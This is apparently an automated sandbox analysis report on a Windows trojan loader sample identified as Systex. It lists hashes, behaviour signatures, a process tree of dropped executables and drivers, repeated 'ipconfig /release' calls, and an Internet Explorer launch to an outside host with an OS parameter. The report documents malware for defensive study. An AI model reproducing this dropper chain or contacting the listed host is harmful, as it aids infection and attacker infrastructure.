Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/05/2026, 14:04
General
- Target 2026-05-11_0faecdc9da97ff82319d536445c8fec3_amadey_darkgate_elex_smoke-loader_stop.exe
- Size 384KB
- Sample260511-rdpyksby6x
- SHA256 ab8aaa60977d66da4ff188a4936cb2d66352e54a45f2075749dfc967f93b6bbd
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 29 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-11_0faecdc9da97ff82319d536445c8fec3_amadey_darkgate_elex_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-11_0faecdc9da97ff82319d536445c8fec3_amadey_darkgate_elex_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\ztrljebwuomgeywr.exeC:\Temp\ztrljebwuomgeywr.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jgbztrljeb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\jgbztrljeb.exeC:\Temp\jgbztrljeb.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jgbztrljeb.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jgbztrljeb.exeC:\Temp\i_jgbztrljeb.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rljdbwtomg.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rljdbwtomg.exeC:\Temp\rljdbwtomg.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rljdbwtomg.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rljdbwtomg.exeC:\Temp\i_rljdbwtomg.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tolgeywqoi.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tolgeywqoi.exeC:\Temp\tolgeywqoi.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tolgeywqoi.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tolgeywqoi.exeC:\Temp\i_tolgeywqoi.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lidbvtnlgd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lidbvtnlgd.exeC:\Temp\lidbvtnlgd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lidbvtnlgd.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lidbvtnlgd.exeC:\Temp\i_lidbvtnlgd.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dxvpnicavs.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dxvpnicavs.exeC:\Temp\dxvpnicavs.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dxvpnicavs.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dxvpnicavs.exeC:\Temp\i_dxvpnicavs.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vpnhfaxspk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vpnhfaxspk.exeC:\Temp\vpnhfaxspk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vpnhfaxspk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vpnhfaxspk.exeC:\Temp\i_vpnhfaxspk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kfcxupnhfz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\kfcxupnhfz.exeC:\Temp\kfcxupnhfz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kfcxupnhfz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kfcxupnhfz.exeC:\Temp\i_kfcxupnhfz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zupmhfzxrp.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\zupmhfzxrp.exeC:\Temp\zupmhfzxrp.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zupmhfzxrp.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zupmhfzxrp.exeC:\Temp\i_zupmhfzxrp.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rpjhbztrmj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rpjhbztrmj.exeC:\Temp\rpjhbztrmj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rpjhbztrmj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rpjhbztrmj.exeC:\Temp\i_rpjhbztrmj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jeywqojgbz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jeywqojgbz.exeC:\Temp\jeywqojgbz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jeywqojgbz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jeywqojgbz.exeC:\Temp\i_jeywqojgbz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jdbwtomgey.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jdbwtomgey.exeC:\Temp\jdbwtomgey.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jdbwtomgey.exe ups_ins3⤵
-
C:\Temp\i_jdbwtomgey.exeC:\Temp\i_jdbwtomgey.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bvtnlgdywq.exe ups_run3⤵
-
C:\Temp\bvtnlgdywq.exeC:\Temp\bvtnlgdywq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bvtnlgdywq.exe ups_ins3⤵
-
C:\Temp\i_bvtnlgdywq.exeC:\Temp\i_bvtnlgdywq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vsnlfdxvpn.exe ups_run3⤵
-
C:\Temp\vsnlfdxvpn.exeC:\Temp\vsnlfdxvpn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vsnlfdxvpn.exe ups_ins3⤵
-
C:\Temp\i_vsnlfdxvpn.exeC:\Temp\i_vsnlfdxvpn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\snkfdxvpni.exe ups_run3⤵
-
C:\Temp\snkfdxvpni.exeC:\Temp\snkfdxvpni.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_snkfdxvpni.exe ups_ins3⤵
-
C:\Temp\i_snkfdxvpni.exeC:\Temp\i_snkfdxvpni.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pnhfaxspkf.exe ups_run3⤵
-
C:\Temp\pnhfaxspkf.exeC:\Temp\pnhfaxspkf.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pnhfaxspkf.exe ups_ins3⤵
-
C:\Temp\i_pnhfaxspkf.exeC:\Temp\i_pnhfaxspkf.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cwupmhfzxr.exe ups_run3⤵
-
C:\Temp\cwupmhfzxr.exeC:\Temp\cwupmhfzxr.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cwupmhfzxr.exe ups_ins3⤵
-
C:\Temp\i_cwupmhfzxr.exeC:\Temp\i_cwupmhfzxr.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xrpjhbzurm.exe ups_run3⤵
-
C:\Temp\xrpjhbzurm.exeC:\Temp\xrpjhbzurm.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xrpjhbzurm.exe ups_ins3⤵
-
C:\Temp\i_xrpjhbzurm.exeC:\Temp\i_xrpjhbzurm.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\omgeywrojh.exe ups_run3⤵
-
C:\Temp\omgeywrojh.exeC:\Temp\omgeywrojh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_omgeywrojh.exe ups_ins3⤵
-
C:\Temp\i_omgeywrojh.exeC:\Temp\i_omgeywrojh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uojgbztrlj.exe ups_run3⤵
-
C:\Temp\uojgbztrlj.exeC:\Temp\uojgbztrlj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uojgbztrlj.exe ups_ins3⤵
-
C:\Temp\i_uojgbztrlj.exeC:\Temp\i_uojgbztrlj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3988 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\ztrljebwuomgeywr.sysC:\Temp\ztrljebwuomgeywr.sys1⤵
- Executes dropped EXE
-
C:\Temp\geywrojgbz.sysC:\Temp\geywrojgbz.sys1⤵
- Executes dropped EXE
-
C:\Temp\bytrljdbwt.sysC:\Temp\bytrljdbwt.sys1⤵
- Executes dropped EXE
-
C:\Temp\sqlidavtnl.sysC:\Temp\sqlidavtnl.sys1⤵
- Executes dropped EXE
-
C:\Temp\sidavtnlfd.sysC:\Temp\sidavtnlfd.sys1⤵
- Executes dropped EXE
-
C:\Temp\kicavsnlfd.sysC:\Temp\kicavsnlfd.sys1⤵
- Executes dropped EXE
-
C:\Temp\ausmkecxup.sysC:\Temp\ausmkecxup.sys1⤵
- Executes dropped EXE
-
C:\Temp\hfzxrpjhcz.sysC:\Temp\hfzxrpjhcz.sys1⤵
- Executes dropped EXE
-
C:\Temp\cwuomhezwr.sysC:\Temp\cwuomhezwr.sys1⤵
- Executes dropped EXE
-
C:\Temp\bwuomgezwr.sysC:\Temp\bwuomgezwr.sys1⤵
- Executes dropped EXE
-
C:\Temp\rljdbvtolg.sysC:\Temp\rljdbvtolg.sys1⤵
- Executes dropped EXE
-
C:\Temp\idbvtnlfdy.sysC:\Temp\idbvtnlfdy.sys1⤵
-
C:\Temp\gaysqkidav.sysC:\Temp\gaysqkidav.sys1⤵
-
C:\Temp\ifaysqkica.sysC:\Temp\ifaysqkica.sys1⤵
-
C:\Temp\ausnkfdxvp.sysC:\Temp\ausnkfdxvp.sys1⤵
-
C:\Temp\upnhfzxrpk.sysC:\Temp\upnhfzxrpk.sys1⤵
-
C:\Temp\ecwupmhezx.sysC:\Temp\ecwupmhezx.sys1⤵
-
C:\Temp\hbztrmjecw.sysC:\Temp\hbztrmjecw.sys1⤵
-
C:\Temp\bwtomgeywq.sysC:\Temp\bwtomgeywq.sys1⤵
-
C:\Temp\igaytqljdb.sysC:\Temp\igaytqljdb.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
ausmkecxup.sys
bytrljdbwt.sys
dxvpnicavs.exe
geywrojgbz.sys
hfzxrpjhcz.sys
i_dxvpnicavs.exe
i_jgbztrljeb.exe
i_kfcxupnhfz.exe
i_lidbvtnlgd.exe
i_rljdbwtomg.exe
i_tolgeywqoi.exe
i_vpnhfaxspk.exe
jgbztrljeb.exe
kfcxupnhfz.exe
kicavsnlfd.sys
lidbvtnlgd.exe
rljdbwtomg.exe
sidavtnlfd.sys
sqlidavtnl.sys
tolgeywqoi.exe
vpnhfaxspk.exe
ztrljebwuomgeywr.exe
ztrljebwuomgeywr.sys
zupmhfzxrp.exe
suggestions[1].en-US
memory/700-151-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1816-143-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1908-34-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1940-84-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2008-119-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2428-155-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2444-139-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3160-104-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3528-163-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3720-46-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3824-96-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4240-159-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5064-112-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5160-147-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5220-108-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5260-58-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5324-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5324-27-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5360-125-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5576-72-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5948-21-0x0000000000010000-0x00000000000AB000-memory.dmp